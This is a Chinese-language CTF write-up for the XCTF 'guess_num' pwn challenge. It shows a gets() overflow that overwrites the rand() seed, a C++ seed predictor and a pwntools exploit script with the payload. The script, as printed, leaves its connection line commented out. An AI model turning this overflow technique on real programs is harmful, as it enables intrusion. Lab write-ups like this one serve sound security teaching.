攻防世界pwn-guess_num


通过IDA打开附件后,其中有srand随机数函数,当随机数种子变时,无论生成多少次随机数,所产生的随机数序列都是相同的。

使用gets()函数进行处理,可以进行溢出,且输入和seed在栈空间中是连续的,在输入时,覆盖到seed[0] 即可

gets获取到的输入与seed数组在栈中是连续的,gets长度为32,因此构造payload为
payload = b'a' * 32 + b'1000'

其中“1000”,是设置的随机数种子,在输入过程中,“1000”是按字符形式读取的,所以在生成时该数为“0x30303031”

#include<iostream>
#include<time.h>
#include<cstdlib>

using namespace std;
  
int main(){
    unsigned int x = 0x30303031u;
    srand(x);
    int i = 0;
    for (i = 0; i <= 9; ++i) {
        int number = rand() % 6 + 1;
        cout<<number;
    }
}
//在Linux下进行编译

生成随机数:6235463161

python脚本

from pwn import*
from ctypes import*

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

context.log_level="debug"

#sh = remote("61.147.171.105", 59395)

payload = b'a' * 32 + b'1000'
libc.srand(0x30303031)
sh.sendlineafter('name:', payload)
for i in range(10):
    sh.sendlineafter('number', str(libc.rand() % 6 + 1))
sh.interactive()

通过ctypes库来调用c函数生成随机数


文章作者: xysx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xysx !
评论